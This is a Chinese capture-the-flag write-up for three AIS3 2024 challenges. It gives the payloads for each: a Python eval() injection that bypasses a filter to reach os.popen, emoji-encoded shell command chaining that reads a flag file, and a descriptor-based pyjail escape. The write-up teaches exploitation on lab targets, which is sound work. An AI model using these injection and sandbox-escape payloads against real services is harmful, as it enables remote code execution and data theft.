2024 AIS3 pre-exam & MFCTF writeup
2024 AIS3 pre-exam writeup
這次幫 AIS3 pre-exam 和 MFCTF 出題,出了兩題:一題 web 和一題 misc (但其實兩題都是web)
evil calculator
This is a calculator written in Python. It’s a simple calculator, but some function in it is VERY EVIL!!
Connection info: http://chals1.ais3.org:5001
Author: TriangleSnake
這是一題很簡單的pyjail(?有jail嗎),主要問題出在 eval()
function,但是有過濾 _
和 space
。
因為是warmup題,預期解是用open()
讀flag,不會用到_
和space
。
1 | {"expression":"open('/flag','r').read()"} |
當然,你也可以把 _
和 space
encode 後 rce
1 | {"expression":"eval(eval('chr(95)')+eval('chr(95)')+'import'+eval('chr(95)')+eval('chr(95)')+\"('os').popen('').read()\")"} |
AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
emoji console
🔺🐍 😡 🅰️ 🆒 1️⃣Ⓜ️🅾️ 🚅☠️✉️ 🥫🫵 🔍🚩⁉️
Connection info: http://chals1.ais3.org:5000
Author: TriangleSnake
這題和資安沒什麼關係,純粹是拼字遊戲,可以隨便按幾個 emoji 後就可以發現他就是把你輸入的 emoji 轉成英文單字後變成一行指令
試幾次會發現一些常用的指令,像是 🐱->cat
、 💿->cd
,還有題目剛進去就提示的 🐍->python
和 ⭐->*
- 嘗試使用
cat
命令看目錄下面有什麼1
🐱 ⭐
1 | #!/usr/local/bin/python3 |
現在我們得到一個json有所有指令的對照表,並且可以知道flag應該是在 flag
的資料夾。
嘗試 cat
flag 資料夾裡面的東西,可以從剛剛 dump 出來的 json 找可以用的指令,這邊使用;/
和:|
切割指令,回傳的結果似乎是一個 python file
1 | 💿 🚩😓😑🐱 ⭐ #cd flag;/:| |
1 | #flag-printer.py |
- 執行python,get flag
1
💿 🚩😓😑🐍❸ 🚩➖🖨️⭐
AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
Can you describe Pyjail?
Yet another 🐍 ⛓️.
nc chals1.ais3.org 48763
Author: Vincent55
這題不是我出的,但是 Vincent 大佬出的題目還是要捧場一下
source code
看source code可以知道是很純的pyjail,在 safe_eval
裡面就把該 ban 的都 ban 光了
跟前面那題 evil calculator 比起來 calculator 一點都不 evil
1 | #!/usr/local/bin/python3 |
看完 source code 可以發現他在print welcome_msg
的時候用了一個非常詭異的方法,也算是這題的題示。
welcome_msg到底在幹嘛
首先看到下面這段程式碼:
1 | welcome_msg = """ |
其實會發現你可以透過 getattr(type, name)
取得type
底下的attribute
這裡會卡一個知識點,就是當你要取得某個 class 的 subclass 的時候(假設是 str ),會寫 str.__subclasses__()
,但其實可以寫成 type.__subclasses__(str)
,前提是 str
的 class
必須是 type
所以我們可以先透過 getattr(type,"__subclasses__")
取得 type.__subclasses__
再把 __base__
塞進去就可以得到 type.__base__.__subclasses__()
好到這邊大家應該已經搞懂上面那陀 welcome_msg
的 payload 到底在幹嘛了,簡單來說就是到 object
裡面把所有 class 抓出來,然後抓倒數第2個 class
(jail.Desc
)把它印出來
解題
一開始想改抓 jail.Test
下面的 desc
就可以拿到 flag
了
抓是抓得到,但是print不出來啊
1 | a = Desc();a.desc_helper("__base__");obj=a.helper;a = Desc();a.desc_helper("__subclasses__");obj = a.helper(obj)[-1].desc |
這邊又卡一個知識點了,那就是 python 的 descriptor 解析有優先度的問題(題目有提示describe,雖然我覺得沒有人看得懂)
以下參考 @Vincent550102 的筆記:
- 如果 __get__ 與 __set__ 都有,優先使用描述器(Descriptor):
當一個描述器同時實現了 __get__ 和 __set__ 方法時,Python 會認為它是一個資料描述器(Data Descriptor)。資料描述器的一個特點是它們對屬性的訪問有更高的優先級。
如果不是,則在自己的 __dict__ 裡面找:- 如果描述器沒有作為資料描述器或者只實現了 __get__ 方法的非資料描述器(Non-Data Descriptor)或者找不到描述器,Python 會繼續在物件的 __dict__ 屬性字典中尋找是否存在該屬性。
- 若在 __dict__ 也找不到,嘗試用描述器的 __get__:
如果在物件的 dict 中找不到該屬性,Python 會檢查是否存在只實現了 get 方法的非資料描述器,如果存在,則回傳該描述器的 __get__ 方法。
都沒有,直接回傳描述器:- 如果上述步驟都無法找到該屬性,最後會返回描述器物件本身,如果連描述器也不存在,則會拋出 AttributeError。
看到這邊,問題已經變很簡單了,那就是我們需要將 __get__
變成最高優先級,此時後面就算 fake_flag 把 test.desc
蓋掉也沒有用,仍然會回傳 Test.__get__()
的內容
如何將 __get__
變成最高優先級呢?只要新增一個 __set__
就行了
1 | func = lambda self,obj,val:None |
1 | #payload |
AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}